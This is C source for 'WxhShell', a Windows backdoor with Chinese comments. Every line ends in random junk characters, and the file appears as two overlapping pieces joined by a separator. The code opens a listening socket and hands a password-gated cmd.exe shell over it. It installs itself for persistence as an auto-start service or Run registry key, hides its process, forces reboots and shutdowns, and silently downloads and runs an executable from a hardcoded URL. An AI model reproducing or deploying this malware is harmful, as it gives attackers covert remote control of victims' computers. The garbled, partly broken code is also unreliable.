    if(Boot(SHUTDOWN)) l6*MiX]q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Q]3`kxp  
    else { ^H0#2hFa  
    closesocket(wsh); OO2uE ;( 3  
    ExitThread(0); S]&:R)#@  
    } n$ rgJ  
    break; Xub*i^(]  
    } ,j6 R/sg  
  // 获取shell GT7&>}FJ)  
  case 's': { k|,Y_h0Y  
    CmdShell(wsh); _\.4ofK(  
    closesocket(wsh); [l/!&6  
    ExitThread(0); jF@BWPtF=  
    break; JZdRAL2#v  
  } <Umr2Vw-  
  // 退出 K491QXG  
  case 'x': { Aydpr_lp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;f~fGsH}e'  
    CloseIt(wsh); 7YxVtN  
    break; G^sx/H76J  
    } Xs{PAS0  
  // 离开 u`ry CZo#g  
  case 'q': { k;B[wEW@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G6.lRaPu"m  
    closesocket(wsh); ?b:Pl{?  
    WSACleanup(); +T&YYO8>5  
    exit(1); y/E:6w  
    break; 7},oY"" 8  
        } i)$P1h  
  } ?7]G )8G6  
  } 0l3[?YtXc  
$4mCtonP=  
  // 提示信息 Xj{gyLs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1eywnOjrj  
} t`="2$NO  
  } "IB36/9  
LZb<-vK"y  
  return; qm"SN<2S*  
} ;mYZ@g%e  
^J&D)&"j  
// shell模块句柄 :C>iV+B j  
int CmdShell(SOCKET sock) 8_E(.]U  
{ twu,yC!  
STARTUPINFO si; XG*> yra`  
ZeroMemory(&si,sizeof(si)); ,]@K,|pC)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t7xJ$^p[|K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m_;fj~m  
PROCESS_INFORMATION ProcessInfo; O,Tp,w T  
char cmdline[]="cmd"; q9dplEe5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {i+ o'Lw  
  return 0; s= ]NKJaQH  
} HUMy\u84H  
gV-*z}`U  
// 自身启动模式 u]Q}jqiq"  
int StartFromService(void) +;\w'dBi,  
{ }K={HW1>  
typedef struct sE'c$H  
{ b*(K;`9)B  
  DWORD ExitStatus; 8Ji`wnkXe  
  DWORD PebBaseAddress; =IW!ZN_  
  DWORD AffinityMask; ^r-d.1  
  DWORD BasePriority; Qu1&$oO  
  ULONG UniqueProcessId; v)T# iw[  
  ULONG InheritedFromUniqueProcessId; B~E">}=!  
}   PROCESS_BASIC_INFORMATION; B~^*@5#0|  
/{:XYeX  
PROCNTQSIP NtQueryInformationProcess; %Z4*;VwQ  
E}KGZSj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $#-rOi /  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {:3\Ms#  
SswcO9JCX3  
  HANDLE             hProcess; &TY74 w*  
  PROCESS_BASIC_INFORMATION pbi; *RxJ8.G  
1a/C(4 _k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ii_kgqT^  
  if(NULL == hInst ) return 0; }LCm_av  
<T?-A}0uO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =^GPQ_"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z\oTuW*B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =}%#j0a4  
SzIzQR93&  
  if (!NtQueryInformationProcess) return 0; :Fm*WqZu  
> SLQW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _}Qtx/Cg  
  if(!hProcess) return 0; p5$}h,7  
&9^4- 5]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S't9F  
c+&Kq.~K  
  CloseHandle(hProcess); =3c?W&:  
S9Oz5_x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dm{Xd+Y  
if(hProcess==NULL) return 0; o5p{ O>D[z  
G"` }"T0}  
HMODULE hMod; hcj]T?  
char procName[255]; 6i-G{)=l  
unsigned long cbNeeded; T 5Zh2Q@  
/6Q]f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "o+?vx-  
.n1&Jsey  
  CloseHandle(hProcess); g=[OH  
=]]1x_GB  
if(strstr(procName,"services")) return 1; // 以服务启动 ]}PXN1(  
pHmqwB~|  
  return 0; // 注册表启动 XrM+DQ;  
} Gn=b_!  
4P[MkMoC  
// 主模块 kBhjqI*  
int StartWxhshell(LPSTR lpCmdLine) e2v`  
{ {daX?N|V  
  SOCKET wsl; #%Bt!#  
BOOL val=TRUE; ?[d4HKs  
  int port=0; pDZewb&cA  
  struct sockaddr_in door; m_*wqNFA6  
z`IW[N7Z  
  if(wscfg.ws_autoins) Install(); :Bmn<2[Y;  
/M%>M]  
port=atoi(lpCmdLine); ,IyQmN y  
( ne[a2%>  
if(port<=0) port=wscfg.ws_port; {iX#  
". tW5O>  
  WSADATA data; |dLr #+'az  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wYf\!]}'  
;O% H]oN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \KnRQtlI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TdgK.g 4  
  door.sin_family = AF_INET; O\.^H/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %h@1lsm1+  
  door.sin_port = htons(port); F| eWHw?t  
'KA$^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f]8MdYX(  
closesocket(wsl); ?VNtT/  
return 1; !nSa4U,$w<  
} 8j;Un]  
e?.j8 Q ~  
  if(listen(wsl,2) == INVALID_SOCKET) { X#ttDB  
closesocket(wsl); 9 Gd6/2  
return 1; >lV,K1Z  
} salC4z3  
  Wxhshell(wsl); +#MXeUX"  
  WSACleanup(); O3@DU#N&s  
uVUU1@  
return 0; #vBrRHuA#"  
;:D-}t;  
} ;.uYWP|9  
#+1|O;PB#  
// 以NT服务方式启动 -n.m "O3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (p{%]M  
{ 8In\Jo$|q>  
DWORD   status = 0; |-x-CSN  
  DWORD   specificError = 0xfffffff; n"htx|v  
!CUl1L1DSi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8{jXSCP#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dhtH&:J< ;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q4m> 3I  
  serviceStatus.dwWin32ExitCode     = 0; 4j=3'Z|  
  serviceStatus.dwServiceSpecificExitCode = 0; UE'=9{o`  
  serviceStatus.dwCheckPoint       = 0; ?9()ya-TE  
  serviceStatus.dwWaitHint       = 0; UON=7}=$&  
m "9f(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `f;w  
  if (hServiceStatusHandle==0) return; $_"u2"p  
t`z"=S  
status = GetLastError(); 0~fjY^(  
  if (status!=NO_ERROR) 4C=W~6~  
{ 6^gp /{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !^% 3  
    serviceStatus.dwCheckPoint       = 0; FB[b]+t`D{  
    serviceStatus.dwWaitHint       = 0; LG&BWs!  
    serviceStatus.dwWin32ExitCode     = status; rJ Jx8)M  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cjf[]aNJe`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9VxM1-8Gs  
    return; RqTO3Kf  
  } 8TFQ%jv  
wnokP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ei_ ~ K';  
  serviceStatus.dwCheckPoint       = 0; Qb^G1#r@C  
  serviceStatus.dwWaitHint       = 0; $Aw@xC^!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <2U@O` gC  
} ?gMx  
`f>!/Zm%9  
// 处理NT服务事件,比如:启动、停止 Xj\ToO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :cC$1zv@  
{ Q]K` p(  
switch(fdwControl) gsyOf*Q$  
{ s$Y>nH~T  
case SERVICE_CONTROL_STOP: gTho:;q7a  
  serviceStatus.dwWin32ExitCode = 0; :ZXd%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zvV&Hks-  
  serviceStatus.dwCheckPoint   = 0; {nV/_o$$  
  serviceStatus.dwWaitHint     = 0; 49; 'K  
  { 1Z}5ykM3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .nD#:86M  
  } L[Vk6e  
  return; *SNdU^!  
case SERVICE_CONTROL_PAUSE: \P.h;|u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G]=z ![$  
  break; r !Aj5  
case SERVICE_CONTROL_CONTINUE: ~</FF'Xz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !1)aie+p6  
  break; +X/a+y-  
case SERVICE_CONTROL_INTERROGATE: 5*%Gh&)  
  break; m8fj\,X  
}; bp?5GU&Uy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ln82pQD2Y~  
} EH |+S  
<c}@lj-j  
// 标准应用程序主函数 v1:.t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +yP!7]  
{ uxf,95<g)  
$.jG O!  
// 获取操作系统版本 u(f   
OsIsNt=GetOsVer(); jA{5)-g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dQj/ Sr  
i5}Zk r  
  // 从命令行安装 DO: ,PZX  
  if(strpbrk(lpCmdLine,"iI")) Install(); bCw{9El!K4  
?#K.D vGJ  
  // 下载执行文件 *C*ZmC5  
if(wscfg.ws_downexe) { n-ffX*zA(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RM|J |R  
  WinExec(wscfg.ws_filenam,SW_HIDE); tY)L^.*7  
} kZw"a*6  
+5zXbfO  
if(!OsIsNt) { gs'M^|e)  
// 如果时win9x,隐藏进程并且设置为注册表启动 -%` ~3*L  
HideProc(); (TT=i  
StartWxhshell(lpCmdLine); 6|jZv~rS$  
} XG/xMz~  
else Ooz ,?wU6  
  if(StartFromService()) .==D?#bn  
  // 以服务方式启动 6iU&9Z<%  
  StartServiceCtrlDispatcher(DispatchTable); 8o5[tl ?w  
else [{7#IZL  
  // 普通方式启动 ps{4_V-3u  
  StartWxhshell(lpCmdLine); K}l3t2uk  
= 7y-o  
return 0; arL>{mj  
} 7H3v[ f^Q  
]M5~p^ RB  
R0-0  
bB_LL  
=========================================== Jp=qPG|  
?J:w,,4m  
<[db)r~c  
"h+Z[h6T  
&O' W+4FAc  
s/"bH3Ob9v  
" Uc tlE>X`  
D^[l~K  
#include <stdio.h> z0}j7ns]  
#include <string.h> \jC) ;mk  
#include <windows.h> 9lYKG ^#D  
#include <winsock2.h> { W,5]-  
#include <winsvc.h> & BPYlfB1  
#include <urlmon.h> d1D f`  
<< 6 GE  
#pragma comment (lib, "Ws2_32.lib") Cf[tNq  
#pragma comment (lib, "urlmon.lib") roS" q~GS,  
v,-Tk=qP  
#define MAX_USER   100 // 最大客户端连接数 Zy(i_B-b  
#define BUF_SOCK   200 // sock buffer V"#0\ |]m  
#define KEY_BUFF   255 // 输入 buffer =7Ud-5c  
J>_mDcPo  
#define REBOOT     0   // 重启 t=P+m   
#define SHUTDOWN   1   // 关机 qd0G sr}j  
/!H24[tnk1  
#define DEF_PORT   5000 // 监听端口 y[ dB mTY  
9+ 1{a.JO  
#define REG_LEN     16   // 注册表键长度 :=NXwY3~M  
#define SVC_LEN     80   // NT服务名长度 g6Vkns4  
S\:^#Yi`  
// 从dll定义API [K4cxqlfk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ux_tzd0!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |Rf j 0+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WESD^FK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &hWELZe0vv  
NljpkeX'  
// wxhshell配置信息 (ks>F=vk*  
struct WSCFG { I*-\u  
  int ws_port;         // 监听端口 eHgr"f*7   
  char ws_passstr[REG_LEN]; // 口令 CF;Gy L1M  
  int ws_autoins;       // 安装标记, 1=yes 0=no { I{ 0rV  
  char ws_regname[REG_LEN]; // 注册表键名 wiN0|h>,  
  char ws_svcname[REG_LEN]; // 服务名 >j?5?J"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )U\i7[k>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]ae(t`\l^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !`{?qQ[=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XVs]Y'* x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tb&?BCp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9 /H~hEVK  
s-CAo~,  
}; +~"IF+T RH  
Exw d,2>  
// default Wxhshell configuration JO|j?%6YY  
struct WSCFG wscfg={DEF_PORT, \n_7+[=E  
    "xuhuanlingzhe", ='"Yj  
    1, q2%cLbI F  
    "Wxhshell", {-5)nS^_  
    "Wxhshell", $1])>m_ct  
            "WxhShell Service", u#ya 8  
    "Wrsky Windows CmdShell Service", gT8(LDJ  
    "Please Input Your Password: ", MD[hqshoh  
  1, F8w7N$/V",  
  "http://www.wrsky.com/wxhshell.exe", {7e(0QK  
  "Wxhshell.exe" FS"Ja`>j~  
    }; I=L[ "]  
)?72 +X  
// 消息定义模块 eCI'<^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t!\aDkxo %  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w[z=x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :%gc Sm  
char *msg_ws_ext="\n\rExit."; ':4ny]F  
char *msg_ws_end="\n\rQuit."; #4AU&UM+i  
char *msg_ws_boot="\n\rReboot..."; q[Ai^79  
char *msg_ws_poff="\n\rShutdown..."; aqSOC(jU  
char *msg_ws_down="\n\rSave to "; oRbWqN`F.  
5RLO}Vn]  
char *msg_ws_err="\n\rErr!"; 29:2Xu i  
char *msg_ws_ok="\n\rOK!"; ["nWIs[h  
DGJ:#U E  
char ExeFile[MAX_PATH]; U.TZd"  
int nUser = 0; _f!ko<52  
HANDLE handles[MAX_USER]; I[%IW4jJ  
int OsIsNt; EP38Ho=[  
O8Mypv/C  
SERVICE_STATUS       serviceStatus; z_'^=9m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qy:yz  
s4Ja y!A  
// 函数声明 Sj ovL@X  
int Install(void); P"7` :a  
int Uninstall(void); x)?V{YAL  
int DownloadFile(char *sURL, SOCKET wsh); ?,VpZ%Df2  
int Boot(int flag); ewcFzlA@  
void HideProc(void); B>i%:[-e  
int GetOsVer(void); G4i%/_JU  
int Wxhshell(SOCKET wsl); S[L@8z.Sj  
void TalkWithClient(void *cs); ytj});,>  
int CmdShell(SOCKET sock); qBk[Afjgz  
int StartFromService(void); jZIT[HM  
int StartWxhshell(LPSTR lpCmdLine); cs2-jbRn  
'Ft81e)/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XB'rh F8rl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KLe6V+ki*  
~ T}D#}  
// 数据结构和表定义 7b1 yF,N  
SERVICE_TABLE_ENTRY DispatchTable[] = :+ YHj )mN  
{ TD\TVK3P  
{wscfg.ws_svcname, NTServiceMain}, -, +o*BP  
{NULL, NULL} ;*5z&1O  
}; Dml?.-Uv<  
"pt[Nm76)8  
// 自我安装 6`9QGi,)  
int Install(void) pRfKlTU\  
{ k[mp(  
  char svExeFile[MAX_PATH]; Z( :\Vj"  
  HKEY key; jpi,BVTI-X  
  strcpy(svExeFile,ExeFile); 5JOfJ$(n  
bN?*p($/  
// 如果是win9x系统,修改注册表设为自启动 ,GWa3.&.d  
if(!OsIsNt) { uhq6dhhR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )-+tN>Bb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7'+`vt#E  
  RegCloseKey(key); kYS#P(1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /;_$:`|/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gB#!g@  
  RegCloseKey(key); ${Lrj}93  
  return 0; v0r:qku  
    } C=c&.-Nb9  
  } J*g<]P&p0  
} O#tmB?n*  
else { ~H''RzN  
y2%[/L: u~  
// 如果是NT以上系统,安装为系统服务 em'3 8L|(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tDAX pi(  
if (schSCManager!=0) `LFT"qnp  
{ W[QgddR  
  SC_HANDLE schService = CreateService tQj=m_  
  ( !o'a]8  
  schSCManager, 9on$0  
  wscfg.ws_svcname, >o"s1* {  
  wscfg.ws_svcdisp, xD7Y"%Pbx  
  SERVICE_ALL_ACCESS, KXTk.\c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L^^f.w#m  
  SERVICE_AUTO_START, "j%Gr :a  
  SERVICE_ERROR_NORMAL, G]l/L\{  
  svExeFile, |x.[*'X@  
  NULL, J{Ij  
  NULL, XPYf1H  
  NULL, lN.&46 e  
  NULL, F\+9u$=  
  NULL 6jr}l  
  ); O0^Y1l  
  if (schService!=0) 1|*%  
  {  t":^:i'M  
  CloseServiceHandle(schService); !OV+2suu1  
  CloseServiceHandle(schSCManager); fpNq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2wU,k(F_  
  strcat(svExeFile,wscfg.ws_svcname); }`whg8 fZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { un6W|{4]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4xx?x/q  
  RegCloseKey(key); 6wiuNGZb  
  return 0; fNr*\=$  
    } bAY >o  
  } k="w EZ;Q  
  CloseServiceHandle(schSCManager); L#vk77  
} W[!bF'- 10  
} n\JSt}A  
),;h  
return 1; 7B _Wz9y  
} 5;{*mJ:F  
Xa8_kv_  
// 自我卸载 @)ozgs@e  
int Uninstall(void) ^-# :T  
{ vO{[P# L}  
  HKEY key; 1i Y?t  
k:s86q  
if(!OsIsNt) { -% B)+yq>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k<*1mS8  
  RegDeleteValue(key,wscfg.ws_regname); ,J*#Ixe}  
  RegCloseKey(key); :v-,-3AG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mX SLH'  
  RegDeleteValue(key,wscfg.ws_regname); ^sZHy4-yK#  
  RegCloseKey(key); /4BYH?*  
  return 0; %'F[(VB   
  } Se/]J<]  
} wu0J XB%&^  
} M>Ws}Y  
else { xs  >Y  
(B+zh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h 7\EN  
if (schSCManager!=0) ELV$!f|u  
{ +]Bx4r?p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QZ-6aq\sgp  
  if (schService!=0) Rm.9`<Y  
  { ilj9&.isB  
  if(DeleteService(schService)!=0) { !]f:dWSLB  
  CloseServiceHandle(schService); [aC2ktI  
  CloseServiceHandle(schSCManager); ~o ;*{ Q  
  return 0; YF");itH  
  } `Oi6o[a  
  CloseServiceHandle(schService); n@e|PWu  
  } 3Z)vJC9'  
  CloseServiceHandle(schSCManager); 'UCF2 L  
} N'5!4JUI  
} WAw} ?&k  
.=b)Ae c  
return 1; [k +fkr]  
} hzk]kM/OC  
iGeuO[ ^  
// 从指定url下载文件 F[|aDj@q e  
int DownloadFile(char *sURL, SOCKET wsh) |w^nCsv  
{ l< |)LD q~  
  HRESULT hr; r+l3J>:K  
char seps[]= "/"; q(@hYp#O"3  
char *token; i3y>@$fRL\  
char *file; 0j~C6 vp  
char myURL[MAX_PATH]; _EZrZB  
char myFILE[MAX_PATH]; b~;+E#[*  
a U*cwR  
strcpy(myURL,sURL); ab5z&7Re6  
  token=strtok(myURL,seps); {wf e!f  
  while(token!=NULL) [.iz<Yh  
  { oxm3R8 S  
    file=token; t5za$kW'&  
  token=strtok(NULL,seps); 2}R)0][W  
  } ?Da!QH >,]  
8BJ&"y8H  
GetCurrentDirectory(MAX_PATH,myFILE); 3m`y?Dd  
strcat(myFILE, "\\"); r(qU~re'  
strcat(myFILE, file); Pd<>E*>}c.  
  send(wsh,myFILE,strlen(myFILE),0); 1@0ZP~LTB  
send(wsh,"...",3,0); :-.bXOB(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uod&'g{N  
  if(hr==S_OK) {#1}YGpiVM  
return 0; ?\Jl] {i2  
else ZA4vQDW  
return 1; n.xW"omN  
PM%Gsy]q  
} *9Nq^+  
Yf(QU`w_  
// 系统电源模块 Go_~8w0<  
int Boot(int flag) )Wm:Ilq  
{ 1vBXO bk  
  HANDLE hToken; pEE.%U  
  TOKEN_PRIVILEGES tkp; 2V#(1Hc!  
'`Z5 .<n7p  
  if(OsIsNt) { {o[ *S%Z"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D@>^_cTO24  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `=3:*.T*  
    tkp.PrivilegeCount = 1; 4jl-?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7fJWb)z!k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1e#}+i!a  
if(flag==REBOOT) { $McVK>=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hi<5jl  
  return 0; "M.vu}~>  
} &De&ZypU  
else { <Cw)S8t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4HK#]M>yz  
  return 0; ceR zHq=  
} +H~})PeQ  
  } l;SqjkN  
  else { anTS8b   
if(flag==REBOOT) { 9q -9UC!g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _YW1Mk1  
  return 0; x-/`c  
} ^J]~&.l  
else { J_A5,K*r|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I vQ]-A}N  
  return 0; zj^Ys`nl  
} (TV ye4Z  
} 0)'^vJe  
<k&Q"X:"  
return 1; }Z_w8+BZ  
} N?h=Zl|  
0ZXG{Gp9S  
// win9x进程隐藏模块 AVA hS}*t  
void HideProc(void) j9YI6X"  
{ C<\|4ERp  
G_~w0r#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g3(fhfR'RN  
  if ( hKernel != NULL ) ayJKt03\O\  
  { M38QA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (P[:g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _s Z9p4]  
    FreeLibrary(hKernel); <o";?^0Q  
  } ^{GnEqml&  
c?{&=,u2  
return; z5v)~+"1  
} 7N / v  
Nj_h+=UE!  
// 获取操作系统版本  T^ ^o  
int GetOsVer(void) ~g+?]Lk}  
{ wYJ.F  
  OSVERSIONINFO winfo; dhW)<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lmZ Ssx  
  GetVersionEx(&winfo); Wej8YF@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T,,,+gPx  
  return 1; gD0 FRKn  
  else '8v^.gZ  
  return 0; ~JsTHE$F  
} V&E)4KBOs  
EC2KK)=n}  
// 客户端句柄模块 s HSZIkB-r  
int Wxhshell(SOCKET wsl) 'dp3>4  
{ vl<W`)'  
  SOCKET wsh; i*'6"  
  struct sockaddr_in client; V_?5cwZ  
  DWORD myID; :;S]jNy}j)  
 pojQ/  
  while(nUser<MAX_USER) e`fN+  
{ LoQm&3/  
  int nSize=sizeof(client); Y=l91dxGI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0Kxc$c  
  if(wsh==INVALID_SOCKET) return 1; +^ n\?!  
hTZaI*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pDO&I]S`q0  
if(handles[nUser]==0) (5] |Kcp|  
  closesocket(wsh); jemg#GB8  
else e.%` tK3J  
  nUser++; K%ltB&  
  } `w1|(Sk$h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '-tiH  
]?p&sI4  
  return 0; G%w hOIFRq  
} 4~8++b1/;  
_4VF>#b  
// 关闭 socket G/Nb@pAy[  
void CloseIt(SOCKET wsh) pmR6(/B#  
{  q[#2`  
closesocket(wsh); L\--h`~YU  
nUser--; &{?*aK&%3l  
ExitThread(0); Cvr?%+)$M  
} JW;DA E<  
,lLkAd?q  
// 客户端请求句柄 4i>sOP3 B  
void TalkWithClient(void *cs) K'EGm #I  
{ 3zU!5t g  
BD+V{x}P  
  SOCKET wsh=(SOCKET)cs; KPI c?|o/6  
  char pwd[SVC_LEN]; z{w!yMp"  
  char cmd[KEY_BUFF]; 7KOM,FWKe  
char chr[1]; p9ligs7V'  
int i,j; ?'_E$  
!N--  
  while (nUser < MAX_USER) { &)@|WLW  
B>}=x4-8  
if(wscfg.ws_passstr) { sf\p>gb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 47b=>D8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g/&`NlD  
  //ZeroMemory(pwd,KEY_BUFF); 6\ g-KO  
      i=0; 2`qO'V3Q  
  while(i<SVC_LEN) { :|3n`,  
SnsOuC5Ah  
  // 设置超时 kYBy\  
  fd_set FdRead; 7jIye8Zi8  
  struct timeval TimeOut; F3$@6J8<[z  
  FD_ZERO(&FdRead); $gU6=vN1#  
  FD_SET(wsh,&FdRead);  ~{7/v  
  TimeOut.tv_sec=8; ?z>7&  
  TimeOut.tv_usec=0; E?1"&D m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kXGJZ$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;*K@8GnU  
1Uzsw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >6ul\xMU  
  pwd=chr[0]; v|:2U8YREf  
  if(chr[0]==0xd || chr[0]==0xa) { ]RgLTqv4x  
  pwd=0; WV]%llj^  
  break; ]]~tFdh  
  } E^z\b *  
  i++; E_-3G<rt  
    } >h+[#3vD  
K]4XD1n7  
  // 如果是非法用户,关闭 socket V3 j1M?>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ns|)VX   
} )&R^J;W$M1  
CPssk,q~C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \~|+*^e)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qP6 YnJWl  
q 65mR!)  
while(1) { "L'0"  
\8v{9Yb  
  ZeroMemory(cmd,KEY_BUFF); &VG|*&M  
0Q^ -d+!  
      // 自动支持客户端 telnet标准   YY~BNQn6d  
  j=0; \mRRx#-r%  
  while(j<KEY_BUFF) { n]$50_@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3T)GUzt`  
  cmd[j]=chr[0]; +L(0R&C  
  if(chr[0]==0xa || chr[0]==0xd) { 0?hJ!IT;q7  
  cmd[j]=0; 4FK|y&p4r  
  break; $89hkUuTu^  
  } q3a`Y)aVB  
  j++; FV>j !>Y  
    } am >X7  
R%)ZhG*  
  // 下载文件 [J4 Aig  
  if(strstr(cmd,"http://")) { ;8z40cD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X2>qx^jT  
  if(DownloadFile(cmd,wsh)) ?;1^8 c0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t?J Y@hT*  
  else )c vA}U.z  
